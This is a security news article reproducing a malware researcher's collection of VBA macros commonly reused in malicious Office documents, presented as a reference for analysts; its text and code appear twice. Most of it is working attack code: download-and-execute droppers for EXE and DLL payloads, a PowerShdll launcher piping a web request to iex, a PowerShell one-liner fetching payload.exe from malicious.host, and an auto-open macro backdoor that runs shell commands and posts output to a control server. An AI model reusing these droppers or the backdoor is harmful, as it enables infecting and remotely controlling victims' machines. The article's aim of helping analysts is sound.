Malware

Frequent VBA Macros used in Office Malware

The malware expert Marco Ramilli collected a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in cyber attacks.

Nowadays one of the most frequent cybersecurity threat comes from Malicious (office) document shipped over eMail or Instant Messaging. Some analyzed threats examples include: Step By Step Office Dropper DissectionSpreading CVS Malware over GoogleMicrosoft Powerpoint as Malware DropperMalHIDEInfo Stealing: a New Operation in the WildAdvanced All in Memory CryptoWorm, etc. Many analyses over the past few years taught that attackers love re-used code and they prefer to modify, obfuscate and finally encrypt already known code rather than writing from scratch new “attacking modules”. Here comes the idea to collect a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in contemporary cyber attacks.

Very frequently Office documents such as Microsoft Excel or Microsoft Doc are used as droppers. The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. Obfuscation comes to make the analysis harder and harder, but once you overcome that stage you would probably see a VBA code looking like the following one.

Download And Execute an External Program

Private Sub DownloadAndExecute()
    Dim droppingURL As String
    Dim localPath As String
    Dim WinHttpReq As Object, oStream As Object
    Dim result As Integer
    
    droppingURL = "https://example.com/mal.exe"
    localPath = "c://asd.exe"
    
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
    WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
    WinHttpReq.Open "GET", droppingURL, False ', "username", "password"
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    WinHttpReq.Send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        oStream.SaveToFile localPath, 2  ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
        oStream.Close
        CreateObject("WScript.Shell").Run localPath, 0
    End If    
    
End Sub

The main idea behind this function (or sub-routine) is to invoke ServerXMLHTTP object to download a file from an external resource, to save it on local directory (ADODB.Stream object) and finally to execute it through the object WScript.Shell. You might find variants of this behavior, for example you might find controls over language to target specific countries or specific control on already infected machine, for example by avoiding network traffic if the file is already in the localPath. A possible very common way to add infection control on the same victim is, for example, by adding the following code before the HTTP request.

If Dir(localPath, vbHidden + vbSystem) = "" Then

Another very common way to weaponize Office files is to download and to execute a DLL instead of external file. In such a case we can invoke the exported DLL function directly from the VBA code as follows.

Drop And Execute External DLL

Private Sub DropAndRunDll()
    Dim dll_Loc As String
    dll_Loc = Environ("AppData") & "\Microsoft\Office"
    If Dir(dll_Loc, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    VBA.ChDir dll_Loc
    VBA.ChDrive "C"
    
    'Download DLL
    Dim dll_URL As String
    dll_URL = "https://example.com/mal.dll"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "Saved.asd", 2
        oStream.Close

        ModuleExportedInDLL.Invoke 
    End If
End Sub

Running DLL and External PE is not the only solution to run code on the victim machine, indeed we might use Powershell as well ! A nice way to execute PowerShell without direct access to PowerShell.exe is by using its DLLs, thanks to PowerShdll project this is possible, for example, in the following way

Dropping and Executing PowerShell

Sub RunDLL()
    DownloadDLL
    Dim Str As String
    Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;"
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
End Function


Sub DownloadDLL()
    Dim dll_Local As String
    dll_Local = Environ("TEMP") & "\powershdll.dll"
    If Not Dir(dll_Local, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    Dim dll_URL As String
    #If Win64 Then
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"
    #Else
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll"
    #End If
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile dll_Local
        oStream.Close
    End If
End Sub

Or if you have direct access to PowerShell.exe you might use a simple inline script as the following one. This is quite common in today’s Office droppers as well.

Simple PowerShell Drop and Execute External Program

powershell  (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;

By applying those techniques (http and execute commands) you might decide to run commands on the victim machine such having a backdoor. Actually I did see this code few times related to manual attacks back in 2017. The code below comes from the great work made by sevagas.


Dim serverUrl As String ' Auto generate at startup Sub Workbook_Open() Main End Sub Sub AutoOpen() Main End Sub Private Sub Main() Dim msg As String serverUrl = "<<<TEMPLATE>>>" msg = "<<<TEMPLATE>>>" On Error GoTo byebye msg = PlayCmd(msg) SendResponse msg On Error GoTo 0 byebye: End Sub 'Sen data using http post' 'Note: 'WinHttpRequestOption_SslErrorIgnoreFlags, // 4 ' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx' Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"' Dim objHTTP As Object Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Option(4) = 13056 ' Ignore cert errors because self signed cert objHTTP.Open "POST", URL, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.SetTimeouts 2000, 2000, 2000, 2000 objHTTP.send (data) HttpPostData = objHTTP.responseText End Function ' Returns target ID' Private Function GetId() As String Dim myInfo As String Dim myID As String myID = Environ("COMPUTERNAME") & " " & Environ("OS") GetId = myID End Function 'To send response for command' Private Function SendResponse(cmdOutput) Dim data As String Dim response As String data = "id=" & GetId & "&cmdOutput=" & cmdOutput SendResponse = HttpPostData(serverUrl, data) End Function ' Play and return output any command line Private Function PlayCmd(sCmd As String) As String 'Run a shell command, returning the output as a string' ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility... ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows Dim instruction As String instruction = "cmd.exe /c " & sCmd & " | clip" CreateObject("WScript.Shell").Run instruction, 0, True ' Read the clipboard text using htmlfile object PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text") End Function

You probably will never see those codes like described here, but likely you will find many similarities with the Macros you are/will analyse in your next MalDoc analyses. Just remember that on one hand the attackers love to re-use code but on the other hand they really like to customize it. In your next VBA Macro analysis keep in mind those stereotypes and speed up your analysis.

Nowadays one of the most frequent cybersecurity threat comes from Malicious (office) document shipped over eMail or Instant Messaging. Some analyzed threats examples include: Step By Step Office Dropper DissectionSpreading CVS Malware over GoogleMicrosoft Powerpoint as Malware DropperMalHIDEInfo Stealing: a New Operation in the WildAdvanced All in Memory CryptoWorm, etc. Many analyses over the past few years taught that attackers love re-used code and they prefer to modify, obfuscate and finally encrypt already known code rather than writing from scratch new “attacking modules”. Here comes the idea to collect a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in contemporary cyber attacks.

Very frequently Office documents such as Microsoft Excel or Microsoft Doc are used as droppers. The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. Obfuscation comes to make the analysis harder and harder, but once you overcome that stage you would probably see a VBA code looking like the following one.

Download And Execute an External Program

Private Sub DownloadAndExecute()
    Dim droppingURL As String
    Dim localPath As String
    Dim WinHttpReq As Object, oStream As Object
    Dim result As Integer
    
    droppingURL = "https://example.com/mal.exe"
    localPath = "c://asd.exe"
    
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
    WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
    WinHttpReq.Open "GET", droppingURL, False ', "username", "password"
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    WinHttpReq.Send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        oStream.SaveToFile localPath, 2  ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
        oStream.Close
        CreateObject("WScript.Shell").Run localPath, 0
    End If    
    
End Sub

The main idea behind this function (or sub-routine) is to invoke ServerXMLHTTP object to download a file from an external resource, to save it on local directory (ADODB.Stream object) and finally to execute it through the object WScript.Shell. You might find variants of this behavior, for example you might find controls over language to target specific countries or specific control on already infected machine, for example by avoiding network traffic if the file is already in the localPath. A possible very common way to add infection control on the same victim is, for example, by adding the following code before the HTTP request.

If Dir(localPath, vbHidden + vbSystem) = "" Then

Another very common way to weaponize Office files is to download and to execute a DLL instead of external file. In such a case we can invoke the exported DLL function directly from the VBA code as follows.

Drop And Execute External DLL

Private Sub DropAndRunDll()
    Dim dll_Loc As String
    dll_Loc = Environ("AppData") & "\Microsoft\Office"
    If Dir(dll_Loc, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    VBA.ChDir dll_Loc
    VBA.ChDrive "C"
    
    'Download DLL
    Dim dll_URL As String
    dll_URL = "https://example.com/mal.dll"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "Saved.asd", 2
        oStream.Close

        ModuleExportedInDLL.Invoke 
    End If
End Sub

Running DLL and External PE is not the only solution to run code on the victim machine, indeed we might use Powershell as well ! A nice way to execute PowerShell without direct access to PowerShell.exe is by using its DLLs, thanks to PowerShdll project this is possible, for example, in the following way

Dropping and Executing PowerShell

Sub RunDLL()
    DownloadDLL
    Dim Str As String
    Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;"
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
End Function


Sub DownloadDLL()
    Dim dll_Local As String
    dll_Local = Environ("TEMP") & "\powershdll.dll"
    If Not Dir(dll_Local, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    Dim dll_URL As String
    #If Win64 Then
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"
    #Else
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll"
    #End If
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile dll_Local
        oStream.Close
    End If
End Sub

Or if you have direct access to PowerShell.exe you might use a simple inline script as the following one. This is quite common in today’s Office droppers as well.

Simple PowerShell Drop and Execute External Program

powershell  (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;

By applying those techniques (http and execute commands) you might decide to run commands on the victim machine such having a backdoor. Actually I did see this code few times related to manual attacks back in 2017. The code below comes from the great work made by sevagas.


Dim serverUrl As String ' Auto generate at startup Sub Workbook_Open() Main End Sub Sub AutoOpen() Main End Sub Private Sub Main() Dim msg As String serverUrl = "<<<TEMPLATE>>>" msg = "<<<TEMPLATE>>>" On Error GoTo byebye msg = PlayCmd(msg) SendResponse msg On Error GoTo 0 byebye: End Sub 'Sen data using http post' 'Note: 'WinHttpRequestOption_SslErrorIgnoreFlags, // 4 ' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx' Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"' Dim objHTTP As Object Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Option(4) = 13056 ' Ignore cert errors because self signed cert objHTTP.Open "POST", URL, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.SetTimeouts 2000, 2000, 2000, 2000 objHTTP.send (data) HttpPostData = objHTTP.responseText End Function ' Returns target ID' Private Function GetId() As String Dim myInfo As String Dim myID As String myID = Environ("COMPUTERNAME") & " " & Environ("OS") GetId = myID End Function 'To send response for command' Private Function SendResponse(cmdOutput) Dim data As String Dim response As String data = "id=" & GetId & "&cmdOutput=" & cmdOutput SendResponse = HttpPostData(serverUrl, data) End Function ' Play and return output any command line Private Function PlayCmd(sCmd As String) As String 'Run a shell command, returning the output as a string' ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility... ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows Dim instruction As String instruction = "cmd.exe /c " & sCmd & " | clip" CreateObject("WScript.Shell").Run instruction, 0, True ' Read the clipboard text using htmlfile object PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text") End Function

You probably will never see those codes as described here, but likely you will find many similarities with the Macros you are/will in your next MalDoc analyses. Just remember that on one hand the attackers love to re-use on the other hand they really like to customize it. In your next VBA Macro analysis keep in mind those stereotypes and speed up your analysis.

The original post is available on Marco Ramilli’s blog:

About the author: Marco Ramilli, Founder of Yoroi

I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.

I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans

[adrotate banner=”9″] [adrotate banner=”12″]

Pierluigi Paganini

(SecurityAffairs – VBA macros, Office malware)

[adrotate banner=”5″]

[adrotate banner=”13″]

Pierluigi Paganini

Pierluigi Paganini is member of the ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group and Cyber G7 Group, he is also a Security Evangelist, Security Analyst and Freelance Writer. Editor-in-Chief at "Cyber Defense Magazine", Pierluigi is a cyber security expert with over 20 years experience in the field, he is Certified Ethical Hacker at EC Council in London. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to find the security blog "Security Affairs" recently named a Top National Security Resource for US. Pierluigi is a member of the "The Hacker News" team and he is a writer for some major publications in the field such as Cyber War Zone, ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for many other Security magazines. Author of the Books "The Deep Dark Web" and “Digital Virtual Currency and Bitcoin”.

Recent Posts

American fast-fashion firm Hot Topic hit by credential stuffing attacks

Hot Topic suffered credential stuffing attacks that exposed customers' personal information and partial payment data.…

2 hours ago

Cisco addressed high-severity flaws in IOS and IOS XE software

Cisco addressed multiple vulnerabilities in IOS and IOS XE software that can be exploited to…

16 hours ago

Google: China dominates government exploitation of zero-day vulnerabilities in 2023

Google's Threat Analysis Group (TAG) and Mandiant reported a surge in the number of actively…

22 hours ago

Google addressed 2 Chrome zero-days demonstrated at Pwn2Own 2024

Google addressed two zero-day vulnerabilities in the Chrome web browser that have been demonstrated during…

1 day ago

INC Ransom stole 3TB of data from the National Health Service (NHS) of Scotland

The INC Ransom extortion group hacked the National Health Service (NHS) of Scotland and is threatening…

2 days ago

CISA adds Microsoft SharePoint bug disclosed at Pwn2Own to its Known Exploited Vulnerabilities catalog

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds a Microsoft SharePoint vulnerability disclosed at the…

2 days ago

This website uses cookies.